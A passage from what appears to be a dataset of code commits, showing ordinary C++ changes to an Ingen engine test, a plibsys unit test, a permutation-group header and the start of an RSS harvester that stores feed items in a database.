endl;\n\t\treturn EXIT_FAILURE;\n\t}\n\n\t\/\/ Create world\n\ttry {\n\t\tworld = new World(argc, argv, NULL, NULL, NULL);\n\t} catch (std::exception& e) {\n\t\tcout << \"ingen: \" << e.what() << endl;\n\t\treturn EXIT_FAILURE;\n\t}\n\n\t\/\/ Load modules\n\tingen_try(world->load_module(\"server_profiled\"),\n\t          \"Unable to load server module\");\n\n\tingen_try(world->load_module(\"serialisation_profiled\"),\n\t          \"Unable to load serialisation module\");\n\n\t\/\/ Initialise engine\n\tingen_try(bool(world->engine()),\n\t          \"Unable to create engine\");\n\tworld->engine()->init(48000.0, 4096);\n\tworld->engine()->activate();\n\n\t\/\/ Load patch\n\tworld->parser()->parse_file(world, world->interface().get(), argv[1]);\n\twhile (world->engine()->pending_events()) {\n\t\tworld->engine()->run(4096);\n\t\tworld->engine()->main_iteration();\n\t\tg_usleep(1000);\n\t}\n\n\t\/\/ Read commands\n\n\tSerdChunk     out    = { NULL, 0 };\n\tLV2_URID_Map* map    = &world->uri_map().urid_map_feature()->urid_map;\n\tSratom*       sratom = sratom_new(map);\n\n\tsratom_set_object_mode(sratom, SRATOM_OBJECT_MODE_BLANK_SUBJECT);\n\n\tLV2_Atom_Forge forge;\n\tlv2_atom_forge_init(&forge, map);\n\tlv2_atom_forge_set_sink(&forge, sratom_forge_sink, sratom_forge_deref, &out);\n\n\tconst std::string cmds_file_path = argv[2];\n\n\t\/\/ AtomReader to read commands from a file and send them to engine\n\tAtomReader atom_reader(world->uri_map(),\n\t                       world->uris(),\n\t                       world->log(),\n\t                       world->forge(),\n\t                       *world->interface().get());\n\n\t\/\/ AtomWriter to serialise responses from the engine\n\t\/*\n\tTestClient client;\n\tSPtr<AtomWriter> atom_writer(\n\t\tnew AtomWriter(world->uri_map(), world->uris(), client));\n\t*\/\n\tSPtr<Interface> client(new TestClient(world->log()));\n\n\tworld->interface()->set_respondee(client);\n\tworld->engine()->register_client(Raul::URI(\"ingen:\/clients\/test\"),\n\t                                 client);\n\n\tSerdURI cmds_base;\n\tSerdNode cmds_file_uri = serd_node_new_file_uri(\n\t\t(const uint8_t*)cmds_file_path.c_str(),\n\t\tNULL, &cmds_base, false);\n\tSord::Model* cmds = new Sord::Model(*world->rdf_world(),\n\t                                    (const char*)cmds_file_uri.buf);\n\tSerdEnv* env = serd_env_new(&cmds_file_uri);\n\tcmds->load_file(env, SERD_TURTLE, cmds_file_path);\n\tSord::Node nil;\n\tfor (int i = 0; ; ++i) {\n\t\tstd::string subject_str = (Raul::fmt(\"msg%1%\") % i).str();\n\t\tSord::URI subject(*world->rdf_world(), subject_str,\n\t\t                  (const char*)cmds_file_uri.buf);\n\t\tSord::Iter iter = cmds->find(subject, nil, nil);\n\t\tif (iter.end()) {\n\t\t\tbreak;\n\t\t}\n\n\t\tout.len = 0;\n\t\tsratom_read(sratom, &forge, world->rdf_world()->c_obj(),\n\t\t            cmds->c_obj(), subject.c_obj());\n\n\t\t\/*\n\t\tcerr << \"READ \" << out.len << \" BYTES\" << endl;\n\t\tLV2_Atom* atom = (LV2_Atom*)out.buf;\n\t\tcerr << sratom_to_turtle(\n\t\t\tsratom,\n\t\t\t&world->uri_map().urid_unmap_feature()->urid_unmap,\n\t\t\t(const char*)cmds_file_uri.buf,\n\t\t\tNULL, NULL, atom->type, atom->size, LV2_ATOM_BODY(atom)) << endl;\n\t\t*\/\n\n\t\tif (!atom_reader.write((LV2_Atom*)out.buf)) {\n\t\t\treturn EXIT_FAILURE;\n\t\t}\n\n\t\twhile (world->engine()->pending_events()) {\n\t\t\tworld->engine()->run(4096);\n\t\t\tworld->engine()->main_iteration();\n\t\t\tg_usleep(1000);\n\t\t}\n\t}\n\tfree((void*)out.buf);\n\tserd_env_free(env);\n\tsratom_free(sratom);\n\tserd_node_free(&cmds_file_uri);\n\tdelete cmds;\n\n\t\/\/ Shut down\n\tworld->engine()->deactivate();\n\n\tdelete world;\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2013-2016 Alexander Saprykin <xelfium@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef PLIBSYS_TESTS_STATIC\n#  define BOOST_TEST_DYN_LINK\n#endif\n\n#define BOOST_TEST_MODULE pmain_test\n\n#include \"plibsys.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef PLIBSYS_TESTS_STATIC\n#  include <boost\/test\/included\/unit_test.hpp>\n#else\n#  include <boost\/test\/unit_test.hpp>\n#endif\n\nstatic pint alloc_counter   = 0;\nstatic pint realloc_counter = 0;\nstatic pint free_counter    = 0;\n\nextern \"C\" ppointer pmem_alloc (psize nbytes)\n{\n\t++alloc_counter;\n\treturn (ppointer) malloc (nbytes);\n}\n\nextern \"C\" ppointer pmem_realloc (ppointer block, psize nbytes)\n{\n\t++realloc_counter;\n\treturn (ppointer) realloc (block, nbytes);\n}\n\nextern \"C\" void pmem_free (ppointer block)\n{\n\t++free_counter;\n\tfree (block);\n}\n\nBOOST_AUTO_TEST_SUITE (BOOST_TEST_MODULE)\n\nBOOST_AUTO_TEST_CASE (pmain_general_test)\n{\n\tp_libsys_init ();\n\tp_libsys_shutdown ();\n}\n\nBOOST_AUTO_TEST_CASE (pmain_double_test)\n{\n\tp_libsys_init_full (NULL);\n\tp_libsys_init ();\n\tp_libsys_shutdown ();\n\tp_libsys_shutdown ();\n}\n\nBOOST_AUTO_TEST_CASE (pmain_vtable_test)\n{\n\tPMemVTable\tvtable;\n\n\tvtable.free    = pmem_free;\n\tvtable.malloc  = pmem_alloc;\n\tvtable.realloc = pmem_realloc;\n\n\tp_libsys_init_full (&vtable);\n\n\talloc_counter   = 0;\n\trealloc_counter = 0;\n\tfree_counter    = 0;\n\n\tpchar *buf = (pchar *) p_malloc0 (10);\n\tpchar *new_buf = (pchar *) p_realloc ((ppointer) buf, 20);\n\n\tBOOST_REQUIRE (new_buf != NULL);\n\n\tbuf = new_buf;\n\n\tp_free (buf);\n\n\tBOOST_CHECK (alloc_counter > 0);\n\tBOOST_CHECK (realloc_counter > 0);\n\tBOOST_CHECK (free_counter > 0);\n\n\tBOOST_CHECK (strcmp (p_libsys_version (), PLIBSYS_VERSION_STR) == 0);\n\n\tp_libsys_shutdown ();\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>tests: Move main init\/shutdown functions on new testing macros<commit_after>\/*\n * Copyright (C) 2013-2017 Alexander Saprykin <xelfium@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"plibsys.h\"\n#include \"ptestmacros.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\nP_TEST_MODULE_INIT ();\n\nstatic pint alloc_counter   = 0;\nstatic pint realloc_counter = 0;\nstatic pint free_counter    = 0;\n\nextern \"C\" ppointer pmem_alloc (psize nbytes)\n{\n\t++alloc_counter;\n\treturn (ppointer) malloc (nbytes);\n}\n\nextern \"C\" ppointer pmem_realloc (ppointer block, psize nbytes)\n{\n\t++realloc_counter;\n\treturn (ppointer) realloc (block, nbytes);\n}\n\nextern \"C\" void pmem_free (ppointer block)\n{\n\t++free_counter;\n\tfree (block);\n}\n\nP_TEST_CASE_BEGIN (pmain_general_test)\n{\n\tp_libsys_init ();\n\tp_libsys_shutdown ();\n}\nP_TEST_CASE_END ()\n\nP_TEST_CASE_BEGIN (pmain_double_test)\n{\n\tp_libsys_init_full (NULL);\n\tp_libsys_init ();\n\tp_libsys_shutdown ();\n\tp_libsys_shutdown ();\n}\nP_TEST_CASE_END ()\n\nP_TEST_CASE_BEGIN (pmain_vtable_test)\n{\n\tPMemVTable\tvtable;\n\n\tvtable.free    = pmem_free;\n\tvtable.malloc  = pmem_alloc;\n\tvtable.realloc = pmem_realloc;\n\n\tp_libsys_init_full (&vtable);\n\n\talloc_counter   = 0;\n\trealloc_counter = 0;\n\tfree_counter    = 0;\n\n\tpchar *buf = (pchar *) p_malloc0 (10);\n\tpchar *new_buf = (pchar *) p_realloc ((ppointer) buf, 20);\n\n\tP_TEST_REQUIRE (new_buf != NULL);\n\n\tbuf = new_buf;\n\n\tp_free (buf);\n\n\tP_TEST_CHECK (alloc_counter > 0);\n\tP_TEST_CHECK (realloc_counter > 0);\n\tP_TEST_CHECK (free_counter > 0);\n\n\tP_TEST_CHECK (strcmp (p_libsys_version (), PLIBSYS_VERSION_STR) == 0);\n\n\tp_libsys_shutdown ();\n}\nP_TEST_CASE_END ()\n\nP_TEST_SUITE_BEGIN()\n{\n\tP_TEST_SUITE_RUN_CASE (pmain_general_test);\n\tP_TEST_SUITE_RUN_CASE (pmain_double_test);\n\tP_TEST_SUITE_RUN_CASE (pmain_vtable_test);\n}\nP_TEST_SUITE_END()\n<|endoftext|>"}
{"text":"<commit_before>#ifndef ABSTRACT_ALGEBRA_HPP\n#define ABSTRACT_ALGEBRA_HPP\n\n#include <algorithm>\n#include <forward_list>\n#include <iostream>\n#include <fstream>\n#include <list>\n#include <memory>\n#include <numeric>\n#include <set>\n#include <stack>\n#include <string>\n#include <unordered_map>\n#include <unordered_set>\n\n\/\/ TODO: Rethink how to track remaining elements. Loading a set with all elements could be a space hog with for large permutations.\n\/\/ TODO: Parity function\n\/\/ TODO: Add usage and comment functions\nnamespace Permutation\n{\n    \n    namespace utility\n    {\n        size_t gcd( size_t a, size_t b)\n        {\n            for (;;)\n            {\n                if ( a == 0)\n                {\n                    return b;\n                }\n                b %= a;\n                if ( b == 0)\n                {\n                    return a;\n                }\n                a %= b;\n            }\n        }\n\n        size_t lcm( size_t a, size_t b)\n        {\n            size_t temp = gcd( a, b);\n            return temp ? (a \/ temp * b) : 0;\n        }\n    }\n    \n    typedef std::unordered_map<size_t, size_t> nPermutation;\n    typedef std::list<nPermutation> composition;\n    typedef std::pair<size_t, size_t> movesToPair;\n    \n    inline void printPermutation( nPermutation &permutation)\n    {\n        for( auto &it : permutation)\n        {\n            printf( \"%zu -> %zu\\n\", it.first, it.second);\n        }\n    }\n    \n    inline bool isIdentity( nPermutation &permutation)\n    {\n        for( auto& p : permutation)\n        {\n            if( p.first != p.second)\n            {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    void printCycleNotation( nPermutation &permutation)\n    {\n        if( isIdentity(permutation))\n        {\n            printf( \"( 1 ) \");\n            return;\n        }\n\n        std::set<size_t> remaining;\n        for( auto &it : permutation)\n        {\n            remaining.insert( it.first);\n        }\n        \n        while( !remaining.empty())\n        {\n            auto begin = *(remaining.begin());\n            remaining.erase( begin);\n            \n            auto destination = permutation.at( begin);\n            if( destination == begin)\n            {\n                continue;\n            }\n\n            printf( \"( %zu\", begin);\n            \n            while(  destination != begin )\n            {\n                printf( \" %zu\", destination);\n                remaining.erase( destination);\n                destination = permutation.at( destination);\n            }\n\n            printf( \" ) \");\n            \n        }            \n    }\n    \n    void printCOF(composition& permutations)\n    {\n        composition::iterator it = permutations.begin();\n        if( it == permutations.end())\n        {\n            return;\n        }\n        printCycleNotation( *(it++));            \n        \n        while( it != permutations.end())\n        {\n            if( (*it).empty())\n            {\n                continue;\n            }\n\n            printf(\" ∘ \");\n            printCycleNotation( *(it++));\n        }\n        \n    }\n    \n    std::unique_ptr<nPermutation> compose( composition& permutations)\n    {\n        std::unique_ptr<nPermutation> result = std::make_unique<nPermutation>();\n        composition::reverse_iterator rit = permutations.rbegin();\n        \n        std::unordered_set<size_t> keys;\n        \n        for( ; rit != permutations.rend(); ++rit)\n        {\n            for( auto& p : *rit)\n            {\n                keys.insert( p.first);\n            }\n        }\n        \n        rit = permutations.rbegin();\n        \n        for( auto& element : keys)\n        {\n            auto destination = element;\n            while( rit != permutations.rend())\n            {\n                if( (*rit).count( destination))\n                {\n                    destination = (*rit).at( destination);\n                }\n                ++rit;\n            }\n            result->insert( movesToPair( element, destination));\n            rit = permutations.rbegin();\n        }\n        \n        return result;\n    }\n    \n    std::unique_ptr<nPermutation> inverse( nPermutation& permutation)\n    {\n        std::unique_ptr<nPermutation> inv = std::make_unique<nPermutation>();\n        for( auto& pair : permutation)\n        {\n            inv->insert( movesToPair( pair.second, pair.first));\n        }\n        return inv;\n    }\n\n    size_t order( nPermutation& permutation)\n    {\n        std::set<size_t> remaining;\n        for( auto &it : permutation)\n        {\n            remaining.insert( it.first);\n        }\n        \n        std::forward_list<size_t> lengthsOfCycles;\n        while( !remaining.empty())\n        {\n            auto begin = *(remaining.begin());\n            remaining.erase( begin);\n            \n            auto destination = permutation.at( begin);\n            if( destination == begin)\n            {\n                continue;\n            }\n\n            size_t length = 1;\n            while(  destination != begin )\n            {\n                remaining.erase( destination);\n                destination = permutation.at( destination);\n                ++length;\n            }\n            lengthsOfCycles.push_front( length);\n\n        }            \n\n        return std::accumulate( lengthsOfCycles.begin(), lengthsOfCycles.end(), 1, utility::lcm);\n    }\n    \n    std::unique_ptr<std::unordered_map<std::string, nPermutation>> readPermutations( const char* filename)\n    {\n        std::ifstream fin{ filename};\n\n        if( !fin.is_open())\n        {\n            std::cerr << filename << \" was not opened properly. Please check if the filename is correct. The function will return 'nullptr'.\" << std::endl;\n            return nullptr;\n        }\n\n        std::unique_ptr<std::unordered_map<std::string,nPermutation>> hash_bag = std::make_unique<std::unordered_map<std::string,nPermutation>>();\n\n        std::string key;\n        size_t totalPermutations = 0;\n\n        fin >> totalPermutations;\n        if( fin.good())\n        {\n            size_t first, second;\n            for(; totalPermutations > 0; --totalPermutations)\n            {\n                std::unique_ptr<nPermutation> perm = std::make_unique<nPermutation>();\n                fin >> key;\n                while( fin >> first >> second)\n                {\n                    perm->insert( movesToPair( first, second));\n                }\n\n                hash_bag->insert( std::make_pair(key, *(perm.release())));\n                fin.clear();\n            }\n        }\n        fin.close();\n        return hash_bag;\n    }\n\n    void printProductOfTrans( nPermutation& permutation)\n    {\n        std::set<size_t> remaining;\n        for( auto&it : permutation)\n        {\n            remaining.insert( it.first);\n        }\n\n        while( !remaining.empty())\n        {\n            std::stack<size_t> inCycle;\n\n            size_t begin = *remaining.begin();\n            remaining.erase( begin);\n            \n            auto destination = permutation.at( begin);\n            while( destination != begin )\n            {\n                inCycle.push(destination);\n                remaining.erase( destination);\n                destination = permutation.at( destination);\n            }\n\n            while( !inCycle.empty())\n            {\n                printf( \"( %zu %zu ) \", begin, inCycle.top());\n                inCycle.pop();\n            }\n        }\n    }\n\n    bool isEven( nPermutation& permutation)\n    {\n        std::set<size_t> remaining;\n        for( auto&it : permutation)\n        {\n            remaining.insert( it.first);\n        }\n\n        size_t count = 0;\n        while( !remaining.empty())\n        {\n           size_t begin = *remaining.begin();\n           remaining.erase( begin);\n\n            auto destination = permutation.at( begin);\n            while( destination != begin)\n            {\n                count = (count+1) % 2;\n                remaining.erase( destination);\n                destination = permutation.at( destination);\n            }\n        }\n        return count ? 0 : 1;\n    }\n\n} \/\/ end of namespace Permutation\n\n#endif \/\/ SYMMETRIC_HPP\n<commit_msg>minor update<commit_after>#ifndef ABSTRACT_ALGEBRA_HPP\n#define ABSTRACT_ALGEBRA_HPP\n\n#include <algorithm>\n#include <forward_list>\n#include <iostream>\n#include <fstream>\n#include <list>\n#include <memory>\n#include <numeric>\n#include <set>\n#include <stack>\n#include <string>\n#include <unordered_map>\n#include <unordered_set>\n\n\/\/ TODO: Rethink how to track remaining elements. Loading a set with all elements could be a space hog with for large permutations.\n\/\/ TODO: Add usage and comment functions\nnamespace Permutation\n{\n    \n    namespace utility\n    {\n        size_t gcd( size_t a, size_t b)\n        {\n            for (;;)\n            {\n                if ( a == 0)\n                {\n                    return b;\n                }\n                b %= a;\n                if ( b == 0)\n                {\n                    return a;\n                }\n                a %= b;\n            }\n        }\n\n        size_t lcm( size_t a, size_t b)\n        {\n            size_t temp = gcd( a, b);\n            return temp ? (a \/ temp * b) : 0;\n        }\n    }\n    \n    typedef std::unordered_map<size_t, size_t> nPermutation;\n    typedef std::list<nPermutation> composition;\n    typedef std::pair<size_t, size_t> movesToPair;\n    \n    inline void printPermutation( nPermutation &permutation)\n    {\n        for( auto &it : permutation)\n        {\n            printf( \"%zu -> %zu\\n\", it.first, it.second);\n        }\n    }\n    \n    inline bool isIdentity( nPermutation &permutation)\n    {\n        for( auto& p : permutation)\n        {\n            if( p.first != p.second)\n            {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    void printCycleNotation( nPermutation &permutation)\n    {\n        if( isIdentity(permutation))\n        {\n            printf( \"( 1 ) \");\n            return;\n        }\n\n        std::set<size_t> remaining;\n        for( auto &it : permutation)\n        {\n            remaining.insert( it.first);\n        }\n        \n        while( !remaining.empty())\n        {\n            auto begin = *(remaining.begin());\n            remaining.erase( begin);\n            \n            auto destination = permutation.at( begin);\n            if( destination == begin)\n            {\n                continue;\n            }\n\n            printf( \"( %zu\", begin);\n            \n            while(  destination != begin )\n            {\n                printf( \" %zu\", destination);\n                remaining.erase( destination);\n                destination = permutation.at( destination);\n            }\n\n            printf( \" ) \");\n            \n        }            \n    }\n    \n    void printCOF(composition& permutations)\n    {\n        composition::iterator it = permutations.begin();\n        if( it == permutations.end())\n        {\n            return;\n        }\n        printCycleNotation( *(it++));            \n        \n        while( it != permutations.end())\n        {\n            if( (*it).empty())\n            {\n                continue;\n            }\n\n            printf(\" ∘ \");\n            printCycleNotation( *(it++));\n        }\n        \n    }\n    \n    std::unique_ptr<nPermutation> compose( composition& permutations)\n    {\n        std::unique_ptr<nPermutation> result = std::make_unique<nPermutation>();\n        composition::reverse_iterator rit = permutations.rbegin();\n        \n        std::unordered_set<size_t> keys;\n        \n        for( ; rit != permutations.rend(); ++rit)\n        {\n            for( auto& p : *rit)\n            {\n                keys.insert( p.first);\n            }\n        }\n        \n        rit = permutations.rbegin();\n        \n        for( auto& element : keys)\n        {\n            auto destination = element;\n            while( rit != permutations.rend())\n            {\n                if( (*rit).count( destination))\n                {\n                    destination = (*rit).at( destination);\n                }\n                ++rit;\n            }\n            result->insert( movesToPair( element, destination));\n            rit = permutations.rbegin();\n        }\n        \n        return result;\n    }\n    \n    std::unique_ptr<nPermutation> inverse( nPermutation& permutation)\n    {\n        std::unique_ptr<nPermutation> inv = std::make_unique<nPermutation>();\n        for( auto& pair : permutation)\n        {\n            inv->insert( movesToPair( pair.second, pair.first));\n        }\n        return inv;\n    }\n\n    size_t order( nPermutation& permutation)\n    {\n        std::set<size_t> remaining;\n        for( auto &it : permutation)\n        {\n            remaining.insert( it.first);\n        }\n        \n        std::forward_list<size_t> lengthsOfCycles;\n        while( !remaining.empty())\n        {\n            auto begin = *(remaining.begin());\n            remaining.erase( begin);\n            \n            auto destination = permutation.at( begin);\n            if( destination == begin)\n            {\n                continue;\n            }\n\n            size_t length = 1;\n            while(  destination != begin )\n            {\n                remaining.erase( destination);\n                destination = permutation.at( destination);\n                ++length;\n            }\n            lengthsOfCycles.push_front( length);\n\n        }            \n\n        return std::accumulate( lengthsOfCycles.begin(), lengthsOfCycles.end(), 1, utility::lcm);\n    }\n    \n    std::unique_ptr<std::unordered_map<std::string, nPermutation>> readPermutations( const char* filename)\n    {\n        std::ifstream fin{ filename};\n\n        if( !fin.is_open())\n        {\n            std::cerr << filename << \" was not opened properly. Please check if the filename is correct. The function will return 'nullptr'.\" << std::endl;\n            return nullptr;\n        }\n\n        std::unique_ptr<std::unordered_map<std::string,nPermutation>> hash_bag = std::make_unique<std::unordered_map<std::string,nPermutation>>();\n\n        std::string key;\n        size_t totalPermutations = 0;\n\n        fin >> totalPermutations;\n        if( fin.good())\n        {\n            size_t first, second;\n            for(; totalPermutations > 0; --totalPermutations)\n            {\n                std::unique_ptr<nPermutation> perm = std::make_unique<nPermutation>();\n                fin >> key;\n                while( fin >> first >> second)\n                {\n                    perm->insert( movesToPair( first, second));\n                }\n\n                hash_bag->insert( std::make_pair(key, *(perm.release())));\n                fin.clear();\n            }\n        }\n        fin.close();\n        return hash_bag;\n    }\n\n    void printProductOfTrans( nPermutation& permutation)\n    {\n        std::set<size_t> remaining;\n        for( auto&it : permutation)\n        {\n            remaining.insert( it.first);\n        }\n\n        while( !remaining.empty())\n        {\n            std::stack<size_t> inCycle;\n\n            size_t begin = *remaining.begin();\n            remaining.erase( begin);\n            \n            auto destination = permutation.at( begin);\n            while( destination != begin )\n            {\n                inCycle.push(destination);\n                remaining.erase( destination);\n                destination = permutation.at( destination);\n            }\n\n            while( !inCycle.empty())\n            {\n                printf( \"( %zu %zu ) \", begin, inCycle.top());\n                inCycle.pop();\n            }\n        }\n    }\n\n    bool isEven( nPermutation& permutation)\n    {\n        std::set<size_t> remaining;\n        for( auto&it : permutation)\n        {\n            remaining.insert( it.first);\n        }\n\n        size_t count = 0;\n        while( !remaining.empty())\n        {\n           size_t begin = *remaining.begin();\n           remaining.erase( begin);\n\n            auto destination = permutation.at( begin);\n            while( destination != begin)\n            {\n                count = (count+1) % 2;\n                remaining.erase( destination);\n                destination = permutation.at( destination);\n            }\n        }\n        return count ? 0 : 1;\n    }\n\n} \/\/ end of namespace Permutation\n\n#endif \/\/ SYMMETRIC_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/** \\file rss_harvester.cc\n *  \\brief Downloads and evaluates RSS updates.\n *  \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n *  \\copyright 2018 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <iostream>\n#include <cstring>\n#include \"DbConnection.h\"\n#include \"DbResultSet.h\"\n#include \"Downloader.h\"\n#include \"FileUtil.h\"\n#include \"IniFile.h\"\n#include \"SyndicationFormat.h\"\n#include \"util.h\"\n#include \"Zotero.h\"\n\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n    std::cerr << \"Usage: \" << ::progname\n              << \" [--verbose] [--proxy=<proxy_host_and_port>] rss_url_list_filename zts_server_url map_directory marc_output\\n\";\n    std::exit(EXIT_FAILURE);\n}\n\n\nunsigned ProcessSyndicationURL(const bool verbose, const std::string &url,\n                               const std::shared_ptr<Zotero::HarvestParams> harvest_params,\n                               const std::shared_ptr<const Zotero::HarvestMaps> harvest_maps,\n                               DbConnection * const db_connection)\n{\n    unsigned successfully_processed_count(0);\n\n    if (verbose)\n        std::cerr << \"Processing URL: \" << url << '\\n';\n\n    Downloader downloader(url);\n    if (downloader.anErrorOccurred()) {\n        WARNING(\"Download problem for \\\"\" + url + \"\\\": \" + downloader.getLastErrorMessage());\n        return successfully_processed_count;\n    }\n\n    std::string err_msg;\n    std::unique_ptr<SyndicationFormat> syndication_format(SyndicationFormat::Factory(downloader.getMessageBody(), &err_msg));\n    if (syndication_format == nullptr) {\n        WARNING(\"Problem parsing XML document for \\\"\" + url + \"\\\": \" + err_msg);\n        return successfully_processed_count;\n    }\n\n    std::cout << url << \" (\" << syndication_format->getFormatName() << \"):\\n\";\n    if (verbose) {\n        std::cout << \"\\tTitle: \" << syndication_format->getTitle() << '\\n';\n        std::cout << \"\\tLink: \" << syndication_format->getLink() << '\\n';\n        std::cout << \"\\tDescription: \" << syndication_format->getDescription() << '\\n';\n    }\n\n    for (const auto &item : *syndication_format) {\n        db_connection->queryOrDie(\"SELECT creation_datetime FROM rss WHERE server_url='\" + db_connection->escapeString(url)\n                                  + \"' AND item_id='\" + db_connection->escapeString(item.getId()) + \"'\");\n        DbResultSet result_set(db_connection->getLastResultSet());\n        if (not result_set.empty()) {\n            if (verbose) {\n                const DbRow first_row(result_set.getNextRow());\n                std::cout << \"Previously retrieved item w\/ ID \\\"\" << item.getId() + \"\\\" at \" << first_row[\"creation_datetime\"]\n                          << \".\\n\";\n            }\n            continue;\n        }\n\n        const std::string title(item.getTitle());\n        if (not title.empty() and verbose)\n            std::cout << \"\\t\\tTitle: \" << title << '\\n';\n        const std::unordered_map<std::string, std::string> &dc_and_prism_data(item.getDCAndPrismData());\n        if (dc_and_prism_data.empty()) {\n            const auto record_count_and_previously_downloaded_count(\n                Zotero::Harvest(item.getLink(), \"\", harvest_params, harvest_maps));\n            successfully_processed_count += record_count_and_previously_downloaded_count.first;\n        } else\n            ERROR(\"create a MARC record from the RSS DC and PRISM metadata!\");\n\n        db_connection->queryOrDie(\"INSERT INTO rss SET server_url='\" + db_connection->escapeString(url) + \"',item_id='\"\n                                  + db_connection->escapeString(item.getId()) + \"'\");\n\n    }\n\n    return successfully_processed_count;\n}\n\n\nvoid LoadServerURLs(const std::string &path, std::vector<std::string> * const server_urls) {\n    std::unique_ptr<File> input(FileUtil::OpenInputFileOrDie(path));\n    while (not input->eof()) {\n        std::string line;\n        input->getline(&line);\n        StringUtil::TrimWhite(&line);\n        if (not line.empty())\n            server_urls->emplace_back(line);\n    }\n}\n\n\nstd::string GetMarcFormat(const std::string &output_filename) {\n    if (StringUtil::EndsWith(output_filename, \".mrc\") or StringUtil::EndsWith(output_filename, \".marc\"))\n        return \"marc21\";\n    if (StringUtil::EndsWith(output_filename, \".xml\"))\n        return \"marcxml\";\n    ERROR(\"can't determine output format from MARC output filename \\\"\" + output_filename + \"\\\"!\");\n}\n\n\nconst std::string CONF_FILE_PATH(\"\/usr\/local\/var\/lib\/tuelib\/rss_client.conf\");\n\n\n} \/\/ unnamed namespace\n\n\nint main(int argc, char *argv[]) {\n    ::progname = argv[0];\n\n    if (argc < 5)\n        Usage();\n\n    bool verbose(false);\n    if (std::strcmp(argv[1], \"--verbose\") == 0) {\n        verbose = true;\n        --argc, ++argv;\n    }\n\n    std::string proxy_host_and_port;\n    const std::string PROXY_FLAG_PREFIX(\"--proxy=\");\n    if (StringUtil::StartsWith(argv[1], PROXY_FLAG_PREFIX)) {\n        proxy_host_and_port = argv[1] + PROXY_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    if (argc != 5)\n        Usage();\n\n    try {\n        std::vector<std::string> server_urls;\n        LoadServerURLs(argv[1], &server_urls);\n\n        std::shared_ptr<Zotero::HarvestParams> harvest_params(new Zotero::HarvestParams);\n        harvest_params->zts_server_url_ = Url(argv[2]);\n\n        std::string map_directory_path(argv[3]);\n        if (not StringUtil::EndsWith(map_directory_path, '\/'))\n            map_directory_path += '\/';\n\n        std::shared_ptr<Zotero::HarvestMaps> harvest_maps(Zotero::LoadMapFilesFromDirectory(map_directory_path));\n        const std::shared_ptr<RegexMatcher> supported_urls_regex(Zotero::LoadSupportedURLsRegex(map_directory_path));\n\n        const std::string PREVIOUSLY_DOWNLOADED_HASHES_PATH(map_directory_path + \"previously_downloaded.hashes\");\n        Zotero::PreviouslyDownloadedHashesManager previously_downloaded_hashes_manager(PREVIOUSLY_DOWNLOADED_HASHES_PATH,\n                                                                                       &harvest_maps->previously_downloaded_);\n        const std::string MARC_OUTPUT_FILE(argv[4]);\n        harvest_params->format_handler_ = Zotero::FormatHandler::Factory(GetMarcFormat(MARC_OUTPUT_FILE), MARC_OUTPUT_FILE,\n                                                                         harvest_maps, harvest_params);\n\n        const IniFile ini_file(CONF_FILE_PATH);\n        const std::string sql_database(ini_file.getString(\"Database\", \"sql_database\"));\n        const std::string sql_username(ini_file.getString(\"Database\", \"sql_username\"));\n        const std::string sql_password(ini_file.getString(\"Database\", \"sql_password\"));\n        DbConnection db_connection(sql_database, sql_username, sql_password);\n\n        harvest_params->format_handler_->prepareProcessing();\n\n        unsigned download_count(0);\n        for (const auto &server_url : server_urls)\n            download_count += ProcessSyndicationURL(verbose, server_url, harvest_params, harvest_maps, &db_connection);\n\n        harvest_params->format_handler_->finishProcessing();\n\n        logger->info(\"Extracted metadata from \" + std::to_string(download_count) + \" pages.\");\n    } catch (const std::exception &x) {\n        ERROR(\"caught exception: \" + std::string(x.what()));\n    }\n\n}\n<commit_msg>Adapted to the new API.<commit_after>\/** \\file rss_harvester.cc\n *  \\brief Downloads and evaluates RSS updates.\n *  \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n *  \\copyright 2018 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You 